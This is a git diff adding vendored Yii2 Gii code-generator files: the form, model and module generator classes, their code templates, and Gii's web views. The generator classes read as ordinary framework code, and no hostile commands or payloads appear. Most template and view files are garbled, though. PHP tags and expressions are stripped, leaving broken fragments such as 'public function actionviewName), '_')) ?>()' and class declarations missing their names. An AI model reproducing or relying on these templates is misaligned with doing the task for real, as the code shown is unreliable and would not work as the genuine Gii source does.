=> false], + ]); + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return array_merge(parent::attributeLabels(), [ + 'modelClass' => 'Model Class', + 'viewName' => 'View Name', + 'viewPath' => 'View Path', + 'scenarioName' => 'Scenario', + ]); + } + + /** + * @inheritdoc + */ + public function requiredTemplates() + { + return ['form.php', 'action.php']; + } + + /** + * @inheritdoc + */ + public function stickyAttributes() + { + return array_merge(parent::stickyAttributes(), ['viewPath', 'scenarioName']); + } + + /** + * @inheritdoc + */ + public function hints() + { + return array_merge(parent::hints(), [ + 'modelClass' => 'This is the model class for collecting the form input. You should provide a fully qualified class name, e.g., app\models\Post.', + 'viewName' => 'This is the view name with respect to the view path. For example, site/index would generate a site/index.php view file under the view path.', + 'viewPath' => 'This is the root view path to keep the generated view files. You may provide either a directory or a path alias, e.g., @app/views.', + 'scenarioName' => 'This is the scenario to be used by the model when collecting the form input. If empty, the default scenario will be used.', + ]); + } + + /** + * @inheritdoc + */ + public function successMessage() + { + $code = highlight_string($this->render('action.php'), true); + + return <<The form has been generated successfully.

            +

            You may add the following code in an appropriate controller class to invoke the view:

            +
            $code
            +EOD; + } + + /** + * Validates [[viewPath]] to make sure it is a valid path or path alias and exists. + */ + public function validateViewPath() + { + $path = Yii::getAlias($this->viewPath, false); + if ($path === false || !is_dir($path)) { + $this->addError('viewPath', 'View path does not exist.'); + } + } + + /** + * @return array list of safe attributes of [[modelClass]] + */ + public function getModelAttributes() + { + /* @var $model Model */ + $model = new $this->modelClass(); + if (!empty($this->scenarioName)) { + $model->setScenario($this->scenarioName); + } + + return $model->safeAttributes(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/default/action.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/default/action.php new file mode 100644 index 00000000..87cc5a15 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/default/action.php @@ -0,0 +1,28 @@ + + +public function actionviewName), '_')) ?>() +{ + $model = new modelClass ?>scenarioName) ? "()" : "(['scenario' => '{$generator->scenarioName}'])" ?>; + + if ($model->load(Yii::$app->request->post())) { + if ($model->validate()) { + // form inputs are valid, do something here + return; + } + } + + return $this->render('viewName ?>', [ + 'model' => $model, + ]); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/default/form.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/default/form.php new file mode 100644 index 00000000..f27d2777 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/default/form.php @@ -0,0 +1,33 @@ + + +use yii\helpers\Html; +use yii\widgets\ActiveForm; + +/* @var $this yii\web\View */ +/* @var $model modelClass ?> */ +/* @var $form ActiveForm */ +" ?> + +
            + + $form = ActiveForm::begin(); ?> + + getModelAttributes() as $attribute): ?> + $form->field($model, '') ?> + + +
            + Html::submitButton(generateString('Submit') ?>, ['class' => 'btn btn-primary']) ?> +
            + ActiveForm::end(); ?> + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/form.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/form.php new file mode 100644 index 00000000..0e229873 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/form.php @@ -0,0 +1,11 @@ +field($generator, 'viewName'); +echo $form->field($generator, 'modelClass'); +echo $form->field($generator, 'scenarioName'); +echo $form->field($generator, 'viewPath'); +echo $form->field($generator, 'enableI18N')->checkbox(); +echo $form->field($generator, 'messageCategory'); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/Generator.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/Generator.php new file mode 100644 index 00000000..93cf0c8a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/Generator.php @@ -0,0 +1,631 @@ + + * @since 2.0 + */ +class Generator extends \yii\gii\Generator +{ + public $db = 'db'; + public $ns = 'app\models'; + public $tableName; + public $modelClass; + public $baseClass = 'yii\db\ActiveRecord'; + public $generateRelations = true; + public $generateLabelsFromComments = false; + public $useTablePrefix = false; + + + /** + * @inheritdoc + */ + public function getName() + { + return 'Model Generator'; + } + + /** + * @inheritdoc + */ + public function getDescription() + { + return 'This generator generates an ActiveRecord class for the specified database table.'; + } + + /** + * @inheritdoc + */ + public function rules() + { + return array_merge(parent::rules(), [ + [['db', 'ns', 'tableName', 'modelClass', 'baseClass'], 'filter', 'filter' => 'trim'], + [['ns'], 'filter', 'filter' => function($value) { return trim($value, '\\'); }], + + [['db', 'ns', 'tableName', 'baseClass'], 'required'], + [['db', 'modelClass'], 'match', 'pattern' => '/^\w+$/', 'message' => 'Only word characters are allowed.'], + [['ns', 'baseClass'], 'match', 'pattern' => '/^[\w\\\\]+$/', 'message' => 'Only word characters and backslashes are allowed.'], + [['tableName'], 'match', 'pattern' => '/^(\w+\.)?([\w\*]+)$/', 'message' => 'Only word characters, and optionally an asterisk and/or a dot are allowed.'], + [['db'], 'validateDb'], + [['ns'], 'validateNamespace'], + [['tableName'], 'validateTableName'], + [['modelClass'], 'validateModelClass', 'skipOnEmpty' => false], + [['baseClass'], 'validateClass', 'params' => ['extends' => ActiveRecord::className()]], + [['generateRelations', 'generateLabelsFromComments'], 'boolean'], + [['enableI18N'], 'boolean'], + [['useTablePrefix'], 'boolean'], + [['messageCategory'], 'validateMessageCategory', 'skipOnEmpty' => false], + ]); + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return array_merge(parent::attributeLabels(), [ + 'ns' => 'Namespace', + 'db' => 'Database Connection ID', + 'tableName' => 'Table Name', + 'modelClass' => 'Model Class', + 'baseClass' => 'Base Class', + 'generateRelations' => 'Generate Relations', + 'generateLabelsFromComments' => 'Generate Labels from DB Comments', + ]); + } + + /** + * @inheritdoc + */ + public function hints() + { + return array_merge(parent::hints(), [ + 'ns' => 'This is the namespace of the ActiveRecord class to be generated, e.g., app\models', + 'db' => 'This is the ID of the DB application component.', + 'tableName' => 'This is the name of the DB table that the new ActiveRecord class is associated with, e.g. post. + The table name may consist of the DB schema part if needed, e.g. public.post. + The table name may end with asterisk to match multiple table names, e.g. tbl_* + will match tables who name starts with tbl_. In this case, multiple ActiveRecord classes + will be generated, one for each matching table name; and the class names will be generated from + the matching characters. For example, table tbl_post will generate Post + class.', + 'modelClass' => 'This is the name of the ActiveRecord class to be generated. The class name should not contain + the namespace part as it is specified in "Namespace". You do not need to specify the class name + if "Table Name" ends with asterisk, in which case multiple ActiveRecord classes will be generated.', + 'baseClass' => 'This is the base class of the new ActiveRecord class. It should be a fully qualified namespaced class name.', + 'generateRelations' => 'This indicates whether the generator should generate relations based on + foreign key constraints it detects in the database. Note that if your database contains too many tables, + you may want to uncheck this option to accelerate the code generation process.', + 'generateLabelsFromComments' => 'This indicates whether the generator should generate attribute labels + by using the comments of the corresponding DB columns.', + 'useTablePrefix' => 'This indicates whether the table name returned by the generated ActiveRecord class + should consider the tablePrefix setting of the DB connection. For example, if the + table name is tbl_post and tablePrefix=tbl_, the ActiveRecord class + will return the table name as {{%post}}.', + ]); + } + + /** + * @inheritdoc + */ + public function autoCompleteData() + { + $db = $this->getDbConnection(); + if ($db !== null) { + return [ + 'tableName' => function () use ($db) { + return $db->getSchema()->getTableNames(); + }, + ]; + } else { + return []; + } + } + + /** + * @inheritdoc + */ + public function requiredTemplates() + { + return ['model.php']; + } + + /** + * @inheritdoc + */ + public function stickyAttributes() + { + return array_merge(parent::stickyAttributes(), ['ns', 'db', 'baseClass', 'generateRelations', 'generateLabelsFromComments']); + } + + /** + * @inheritdoc + */ + public function generate() + { + $files = []; + $relations = $this->generateRelations(); + $db = $this->getDbConnection(); + foreach ($this->getTableNames() as $tableName) { + $className = $this->generateClassName($tableName); + $tableSchema = $db->getTableSchema($tableName); + $params = [ + 'tableName' => $tableName, + 'className' => $className, + 'tableSchema' => $tableSchema, + 'labels' => $this->generateLabels($tableSchema), + 'rules' => $this->generateRules($tableSchema), + 'relations' => isset($relations[$className]) ? $relations[$className] : [], + ]; + $files[] = new CodeFile( + Yii::getAlias('@' . str_replace('\\', '/', $this->ns)) . '/' . $className . '.php', + $this->render('model.php', $params) + ); + } + + return $files; + } + + /** + * Generates the attribute labels for the specified table. + * @param \yii\db\TableSchema $table the table schema + * @return array the generated attribute labels (name => label) + */ + public function generateLabels($table) + { + $labels = []; + foreach ($table->columns as $column) { + if ($this->generateLabelsFromComments && !empty($column->comment)) { + $labels[$column->name] = $column->comment; + } elseif (!strcasecmp($column->name, 'id')) { + $labels[$column->name] = 'ID'; + } else { + $label = Inflector::camel2words($column->name); + if (!empty($label) && substr_compare($label, ' id', -3, 3, true) === 0) { + $label = substr($label, 0, -3) . ' ID'; + } + $labels[$column->name] = $label; + } + } + + return $labels; + } + + /** + * Generates validation rules for the specified table. + * @param \yii\db\TableSchema $table the table schema + * @return array the generated validation rules + */ + public function generateRules($table) + { + $types = []; + $lengths = []; + foreach ($table->columns as $column) { + if ($column->autoIncrement) { + continue; + } + if (!$column->allowNull && $column->defaultValue === null) { + $types['required'][] = $column->name; + } + switch ($column->type) { + case Schema::TYPE_SMALLINT: + case Schema::TYPE_INTEGER: + case Schema::TYPE_BIGINT: + $types['integer'][] = $column->name; + break; + case Schema::TYPE_BOOLEAN: + $types['boolean'][] = $column->name; + break; + case Schema::TYPE_FLOAT: + case Schema::TYPE_DECIMAL: + case Schema::TYPE_MONEY: + $types['number'][] = $column->name; + break; + case Schema::TYPE_DATE: + case Schema::TYPE_TIME: + case Schema::TYPE_DATETIME: + case Schema::TYPE_TIMESTAMP: + $types['safe'][] = $column->name; + break; + default: // strings + if ($column->size > 0) { + $lengths[$column->size][] = $column->name; + } else { + $types['string'][] = $column->name; + } + } + } + $rules = []; + foreach ($types as $type => $columns) { + $rules[] = "[['" . implode("', '", $columns) . "'], '$type']"; + } + foreach ($lengths as $length => $columns) { + $rules[] = "[['" . implode("', '", $columns) . "'], 'string', 'max' => $length]"; + } + + // Unique indexes rules + try { + $db = $this->getDbConnection(); + $uniqueIndexes = $db->getSchema()->findUniqueIndexes($table); + foreach ($uniqueIndexes as $uniqueColumns) { + // Avoid validating auto incremental columns + if (!$this->isColumnAutoIncremental($table, $uniqueColumns)) { + $attributesCount = count($uniqueColumns); + + if ($attributesCount == 1) { + $rules[] = "[['" . $uniqueColumns[0] . "'], 'unique']"; + } elseif ($attributesCount > 1) { + $labels = array_intersect_key($this->generateLabels($table), array_flip($uniqueColumns)); + $lastLabel = array_pop($labels); + $columnsList = implode("', '", $uniqueColumns); + $rules[] = "[['" . $columnsList . "'], 'unique', 'targetAttribute' => ['" . $columnsList . "'], 'message' => 'The combination of " . implode(', ', $labels) . " and " . $lastLabel . " has already been taken.']"; + } + } + } + } catch (NotSupportedException $e) { + // doesn't support unique indexes information...do nothing + } + + return $rules; + } + + /** + * @return array the generated relation declarations + */ + protected function generateRelations() + { + if (!$this->generateRelations) { + return []; + } + + $db = $this->getDbConnection(); + + if (($pos = strpos($this->tableName, '.')) !== false) { + $schemaName = substr($this->tableName, 0, $pos); + } else { + $schemaName = ''; + } + + $relations = []; + foreach ($db->getSchema()->getTableSchemas($schemaName) as $table) { + $tableName = $table->name; + $className = $this->generateClassName($tableName); + foreach ($table->foreignKeys as $refs) { + $refTable = $refs[0]; + unset($refs[0]); + $fks = array_keys($refs); + $refClassName = $this->generateClassName($refTable); + + // Add relation for this table + $link = $this->generateRelationLink(array_flip($refs)); + $relationName = $this->generateRelationName($relations, $className, $table, $fks[0], false); + $relations[$className][$relationName] = [ + "return \$this->hasOne($refClassName::className(), $link);", + $refClassName, + false, + ]; + + // Add relation for the referenced table + $hasMany = false; + if (count($table->primaryKey) > count($fks)) { + $hasMany = true; + } else { + foreach ($fks as $key) { + if (!in_array($key, $table->primaryKey, true)) { + $hasMany = true; + break; + } + } + } + $link = $this->generateRelationLink($refs); + $relationName = $this->generateRelationName($relations, $refClassName, $refTable, $className, $hasMany); + $relations[$refClassName][$relationName] = [ + "return \$this->" . ($hasMany ? 'hasMany' : 'hasOne') . "($className::className(), $link);", + $className, + $hasMany, + ]; + } + + if (($fks = $this->checkPivotTable($table)) === false) { + continue; + } + $table0 = $fks[$table->primaryKey[0]][0]; + $table1 = $fks[$table->primaryKey[1]][0]; + $className0 = $this->generateClassName($table0); + $className1 = $this->generateClassName($table1); + + $link = $this->generateRelationLink([$fks[$table->primaryKey[1]][1] => $table->primaryKey[1]]); + $viaLink = $this->generateRelationLink([$table->primaryKey[0] => $fks[$table->primaryKey[0]][1]]); + $relationName = $this->generateRelationName($relations, $className0, $db->getTableSchema($table0), $table->primaryKey[1], true); + $relations[$className0][$relationName] = [ + "return \$this->hasMany($className1::className(), $link)->viaTable('" . $this->generateTableName($table->name) . "', $viaLink);", + $className1, + true, + ]; + + $link = $this->generateRelationLink([$fks[$table->primaryKey[0]][1] => $table->primaryKey[0]]); + $viaLink = $this->generateRelationLink([$table->primaryKey[1] => $fks[$table->primaryKey[1]][1]]); + $relationName = $this->generateRelationName($relations, $className1, $db->getTableSchema($table1), $table->primaryKey[0], true); + $relations[$className1][$relationName] = [ + "return \$this->hasMany($className0::className(), $link)->viaTable('" . $this->generateTableName($table->name) . "', $viaLink);", + $className0, + true, + ]; + } + + return $relations; + } + + /** + * Generates the link parameter to be used in generating the relation declaration. + * @param array $refs reference constraint + * @return string the generated link parameter. + */ + protected function generateRelationLink($refs) + { + $pairs = []; + foreach ($refs as $a => $b) { + $pairs[] = "'$a' => '$b'"; + } + + return '[' . implode(', ', $pairs) . ']'; + } + + /** + * Checks if the given table is a junction table. + * For simplicity, this method only deals with the case where the pivot contains two PK columns, + * each referencing a column in a different table. + * @param \yii\db\TableSchema the table being checked + * @return array|boolean the relevant foreign key constraint information if the table is a junction table, + * or false if the table is not a junction table. + */ + protected function checkPivotTable($table) + { + $pk = $table->primaryKey; + if (count($pk) !== 2) { + return false; + } + $fks = []; + foreach ($table->foreignKeys as $refs) { + if (count($refs) === 2) { + if (isset($refs[$pk[0]])) { + $fks[$pk[0]] = [$refs[0], $refs[$pk[0]]]; + } elseif (isset($refs[$pk[1]])) { + $fks[$pk[1]] = [$refs[0], $refs[$pk[1]]]; + } + } + } + if (count($fks) === 2 && $fks[$pk[0]][0] !== $fks[$pk[1]][0]) { + return $fks; + } else { + return false; + } + } + + /** + * Generate a relation name for the specified table and a base name. + * @param array $relations the relations being generated currently. + * @param string $className the class name that will contain the relation declarations + * @param \yii\db\TableSchema $table the table schema + * @param string $key a base name that the relation name may be generated from + * @param boolean $multiple whether this is a has-many relation + * @return string the relation name + */ + protected function generateRelationName($relations, $className, $table, $key, $multiple) + { + if (!empty($key) && substr_compare($key, 'id', -2, 2, true) === 0 && strcasecmp($key, 'id')) { + $key = rtrim(substr($key, 0, -2), '_'); + } + if ($multiple) { + $key = Inflector::pluralize($key); + } + $name = $rawName = Inflector::id2camel($key, '_'); + $i = 0; + while (isset($table->columns[lcfirst($name)])) { + $name = $rawName . ($i++); + } + while (isset($relations[$className][lcfirst($name)])) { + $name = $rawName . ($i++); + } + + return $name; + } + + /** + * Validates the [[db]] attribute. + */ + public function validateDb() + { + if (!Yii::$app->has($this->db)) { + $this->addError('db', 'There is no application component named "db".'); + } elseif (!Yii::$app->get($this->db) instanceof Connection) { + $this->addError('db', 'The "db" application component must be a DB connection instance.'); + } + } + + /** + * Validates the [[ns]] attribute. + */ + public function validateNamespace() + { + $this->ns = ltrim($this->ns, '\\'); + $path = Yii::getAlias('@' . str_replace('\\', '/', $this->ns), false); + if ($path === false) { + $this->addError('ns', 'Namespace must be associated with an existing directory.'); + } + } + + /** + * Validates the [[modelClass]] attribute. + */ + public function validateModelClass() + { + if ($this->isReservedKeyword($this->modelClass)) { + $this->addError('modelClass', 'Class name cannot be a reserved PHP keyword.'); + } + if ((empty($this->tableName) || substr_compare($this->tableName, '*', -1, 1)) && $this->modelClass == '') { + $this->addError('modelClass', 'Model Class cannot be blank if table name does not end with asterisk.'); + } + } + + /** + * Validates the [[tableName]] attribute. + */ + public function validateTableName() + { + if (strpos($this->tableName, '*') !== false && substr_compare($this->tableName, '*', -1, 1)) { + $this->addError('tableName', 'Asterisk is only allowed as the last character.'); + + return; + } + $tables = $this->getTableNames(); + if (empty($tables)) { + $this->addError('tableName', "Table '{$this->tableName}' does not exist."); + } else { + foreach ($tables as $table) { + $class = $this->generateClassName($table); + if ($this->isReservedKeyword($class)) { + $this->addError('tableName', "Table '$table' will generate a class which is a reserved PHP keyword."); + break; + } + } + } + } + + protected $tableNames; + protected $classNames; + + /** + * @return array the table names that match the pattern specified by [[tableName]]. + */ + protected function getTableNames() + { + if ($this->tableNames !== null) { + return $this->tableNames; + } + $db = $this->getDbConnection(); + if ($db === null) { + return []; + } + $tableNames = []; + if (strpos($this->tableName, '*') !== false) { + if (($pos = strrpos($this->tableName, '.')) !== false) { + $schema = substr($this->tableName, 0, $pos); + $pattern = '/^' . str_replace('*', '\w+', substr($this->tableName, $pos + 1)) . '$/'; + } else { + $schema = ''; + $pattern = '/^' . str_replace('*', '\w+', $this->tableName) . '$/'; + } + + foreach ($db->schema->getTableNames($schema) as $table) { + if (preg_match($pattern, $table)) { + $tableNames[] = $schema === '' ? $table : ($schema . '.' . $table); + } + } + } elseif (($table = $db->getTableSchema($this->tableName, true)) !== null) { + $tableNames[] = $this->tableName; + $this->classNames[$this->tableName] = $this->modelClass; + } + + return $this->tableNames = $tableNames; + } + + /** + * Generates the table name by considering table prefix. + * If [[useTablePrefix]] is false, the table name will be returned without change. + * @param string $tableName the table name (which may contain schema prefix) + * @return string the generated table name + */ + public function generateTableName($tableName) + { + if (!$this->useTablePrefix) { + return $tableName; + } + + $db = $this->getDbConnection(); + if (preg_match("/^{$db->tablePrefix}(.*?)$/", $tableName, $matches)) { + $tableName = '{{%' . $matches[1] . '}}'; + } elseif (preg_match("/^(.*?){$db->tablePrefix}$/", $tableName, $matches)) { + $tableName = '{{' . $matches[1] . '%}}'; + } + return $tableName; + } + + /** + * Generates a class name from the specified table name. + * @param string $tableName the table name (which may contain schema prefix) + * @return string the generated class name + */ + protected function generateClassName($tableName) + { + if (isset($this->classNames[$tableName])) { + return $this->classNames[$tableName]; + } + + if (($pos = strrpos($tableName, '.')) !== false) { + $tableName = substr($tableName, $pos + 1); + } + + $db = $this->getDbConnection(); + $patterns = []; + $patterns[] = "/^{$db->tablePrefix}(.*?)$/"; + $patterns[] = "/^(.*?){$db->tablePrefix}$/"; + if (strpos($this->tableName, '*') !== false) { + $pattern = $this->tableName; + if (($pos = strrpos($pattern, '.')) !== false) { + $pattern = substr($pattern, $pos + 1); + } + $patterns[] = '/^' . str_replace('*', '(\w+)', $pattern) . '$/'; + } + $className = $tableName; + foreach ($patterns as $pattern) { + if (preg_match($pattern, $tableName, $matches)) { + $className = $matches[1]; + break; + } + } + + return $this->classNames[$tableName] = Inflector::id2camel($className, '_'); + } + + /** + * @return Connection the DB connection as specified by [[db]]. + */ + protected function getDbConnection() + { + return Yii::$app->get($this->db, false); + } + + /** + * Checks if any of the specified columns is auto incremental. + * @param \yii\db\TableSchema $table the table schema + * @param array $columns columns to check for autoIncrement property + * @return boolean whether any of the specified columns is auto incremental. + */ + protected function isColumnAutoIncremental($table, $columns) + { + foreach ($columns as $column) { + if (isset($table->columns[$column]) && $table->columns[$column]->autoIncrement) { + return true; + } + } + + return false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/default/model.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/default/model.php new file mode 100644 index 00000000..cd5a2fc0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/default/model.php @@ -0,0 +1,84 @@ + label) */ +/* @var $rules string[] list of validation rules */ +/* @var $relations array list of relations (name => relation declaration) */ + +echo " + +namespace ns ?>; + +use Yii; + +/** + * This is the model class for table "generateTableName($tableName) ?>". + * +columns as $column): ?> + * @property phpType} \${$column->name}\n" ?> + + + * + $relation): ?> + * @property + + + */ +class extends baseClass, '\\') . "\n" ?> +{ + /** + * @inheritdoc + */ + public static function tableName() + { + return 'generateTableName($tableName) ?>'; + } +db !== 'db'): ?> + + /** + * @return \yii\db\Connection the database connection used by this AR class. + */ + public static function getDb() + { + return Yii::$app->get('db ?>'); + } + + + /** + * @inheritdoc + */ + public function rules() + { + return []; + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + $label): ?> + " . $generator->generateString($label) . ",\n" ?> + + ]; + } + $relation): ?> + + /** + * @return \yii\db\ActiveQuery + */ + public function get() + { + + } + +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/form.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/form.php new file mode 100644 index 00000000..9dfba390 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/model/form.php @@ -0,0 +1,15 @@ +field($generator, 'tableName'); +echo $form->field($generator, 'modelClass'); +echo $form->field($generator, 'ns'); +echo $form->field($generator, 'baseClass'); +echo $form->field($generator, 'db'); +echo $form->field($generator, 'useTablePrefix')->checkbox(); +echo $form->field($generator, 'generateRelations')->checkbox(); +echo $form->field($generator, 'generateLabelsFromComments')->checkbox(); +echo $form->field($generator, 'enableI18N')->checkbox(); +echo $form->field($generator, 'messageCategory'); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/Generator.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/Generator.php new file mode 100644 index 00000000..6b139ff5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/Generator.php @@ -0,0 +1,170 @@ + + * @since 2.0 + */ +class Generator extends \yii\gii\Generator +{ + public $moduleClass; + public $moduleID; + + + /** + * @inheritdoc + */ + public function getName() + { + return 'Module Generator'; + } + + /** + * @inheritdoc + */ + public function getDescription() + { + return 'This generator helps you to generate the skeleton code needed by a Yii module.'; + } + + /** + * @inheritdoc + */ + public function rules() + { + return array_merge(parent::rules(), [ + [['moduleID', 'moduleClass'], 'filter', 'filter' => 'trim'], + [['moduleID', 'moduleClass'], 'required'], + [['moduleID'], 'match', 'pattern' => '/^[\w\\-]+$/', 'message' => 'Only word characters and dashes are allowed.'], + [['moduleClass'], 'match', 'pattern' => '/^[\w\\\\]*$/', 'message' => 'Only word characters and backslashes are allowed.'], + [['moduleClass'], 'validateModuleClass'], + ]); + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'moduleID' => 'Module ID', + 'moduleClass' => 'Module Class', + ]; + } + + /** + * @inheritdoc + */ + public function hints() + { + return [ + 'moduleID' => 'This refers to the ID of the module, e.g., admin.', + 'moduleClass' => 'This is the fully qualified class name of the module, e.g., app\modules\admin\Module.', + ]; + } + + /** + * @inheritdoc + */ + public function successMessage() + { + if (Yii::$app->hasModule($this->moduleID)) { + $link = Html::a('try it now', Yii::$app->getUrlManager()->createUrl($this->moduleID), ['target' => '_blank']); + + return "The module has been generated successfully. You may $link."; + } + + $output = <<The module has been generated successfully.

            +

            To access the module, you need to add this to your application configuration:

            +EOD; + $code = << [ + '{$this->moduleID}' => [ + 'class' => '{$this->moduleClass}', + ], + ], + ...... +EOD; + + return $output . '
            ' . highlight_string($code, true) . '
            '; + } + + /** + * @inheritdoc + */ + public function requiredTemplates() + { + return ['module.php', 'controller.php', 'view.php']; + } + + /** + * @inheritdoc + */ + public function generate() + { + $files = []; + $modulePath = $this->getModulePath(); + $files[] = new CodeFile( + $modulePath . '/' . StringHelper::basename($this->moduleClass) . '.php', + $this->render("module.php") + ); + $files[] = new CodeFile( + $modulePath . '/controllers/DefaultController.php', + $this->render("controller.php") + ); + $files[] = new CodeFile( + $modulePath . '/views/default/index.php', + $this->render("view.php") + ); + + return $files; + } + + /** + * Validates [[moduleClass]] to make sure it is a fully qualified class name. + */ + public function validateModuleClass() + { + if (strpos($this->moduleClass, '\\') === false || Yii::getAlias('@' . str_replace('\\', '/', $this->moduleClass), false) === false) { + $this->addError('moduleClass', 'Module class must be properly namespaced.'); + } + if (empty($this->moduleClass) || substr_compare($this->moduleClass, '\\', -1, 1) === 0) { + $this->addError('moduleClass', 'Module class name must not be empty. Please enter a fully qualified class name. e.g. "app\\modules\\admin\\Module".'); + } + } + + /** + * @return boolean the directory that contains the module class + */ + public function getModulePath() + { + return Yii::getAlias('@' . str_replace('\\', '/', substr($this->moduleClass, 0, strrpos($this->moduleClass, '\\')))); + } + + /** + * @return string the controller namespace of the module. + */ + public function getControllerNamespace() + { + return substr($this->moduleClass, 0, strrpos($this->moduleClass, '\\')) . '\controllers'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/controller.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/controller.php new file mode 100644 index 00000000..b3d2e939 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/controller.php @@ -0,0 +1,22 @@ + + +namespace getControllerNamespace() ?>; + +use yii\web\Controller; + +class DefaultController extends Controller +{ + public function actionIndex() + { + return $this->render('index'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/module.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/module.php new file mode 100644 index 00000000..9f9da204 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/module.php @@ -0,0 +1,29 @@ +moduleClass; +$pos = strrpos($className, '\\'); +$ns = ltrim(substr($className, 0, $pos), '\\'); +$className = substr($className, $pos + 1); + +echo " + +namespace ; + +class extends \yii\base\Module +{ + public $controllerNamespace = 'getControllerNamespace() ?>'; + + public function init() + { + parent::init(); + + // custom initialization code goes here + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/view.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/view.php new file mode 100644 index 00000000..bacfd8e0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/default/view.php @@ -0,0 +1,16 @@ + +
            +

            $this->context->action->uniqueId ?>

            +

            + This is the view content for action "$this->context->action->id ?>". + The action belongs to the controller "get_class($this->context) ?>" + in the "$this->context->module->id ?>" module. +

            +

            + You may customize this page by editing the following file:
            + __FILE__ ?> +

            +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/form.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/form.php new file mode 100644 index 00000000..5d1e55e5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/module/form.php @@ -0,0 +1,12 @@ + +
            +field($generator, 'moduleClass'); + echo $form->field($generator, 'moduleID'); +?> +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/diff.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/diff.php new file mode 100644 index 00000000..19a09293 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/diff.php @@ -0,0 +1,13 @@ + +
            + +
            Diff is not supported for this file type.
            + +
            Identical.
            + +
            + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/index.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/index.php new file mode 100644 index 00000000..c52b593a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/index.php @@ -0,0 +1,30 @@ +controller->module->generators; +$this->title = 'Welcome to Gii'; +?> +
            + + +

            Start the fun with the following code generators:

            + +
            + $generator): ?> +
            +

            getName()) ?>

            +

            getDescription() ?>

            +

            $id], ['class' => 'btn btn-default']) ?>

            +
            + +
            + +

            Get More Generators

            + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view.php new file mode 100644 index 00000000..d727bee7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view.php @@ -0,0 +1,71 @@ +title = $generator->getName(); +$templates = []; +foreach ($generator->templates as $name => $path) { + $templates[$name] = "$name ($path)"; +} +?> +
            +

            title) ?>

            + +

            getDescription() ?>

            + + "$id-generator", + 'successCssClass' => '', + 'fieldConfig' => ['class' => ActiveField::className()], + ]); ?> +
            +
            + renderFile($generator->formView(), [ + 'generator' => $generator, + 'form' => $form, + ]) ?> + field($generator, 'template')->sticky() + ->label('Code Template') + ->dropDownList($templates)->hint(' + Please select which set of the templates should be used to generated the code. + ') ?> +
            + 'preview', 'class' => 'btn btn-primary']) ?> + + + 'generate', 'class' => 'btn btn-success']) ?> + +
            +
            +
            + + render('view/results', [ + 'generator' => $generator, + 'results' => $results, + 'hasError' => $hasError, + ]); + } elseif (isset($files)) { + echo $this->render('view/files', [ + 'id' => $id, + 'generator' => $generator, + 'files' => $files, + 'answers' => $answers, + ]); + } + ?> + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view/files.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view/files.php new file mode 100644 index 00000000..92de0724 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view/files.php @@ -0,0 +1,112 @@ + +
            +
            + + + +
            + +

            Click on the above Generate button to generate the files selected below:

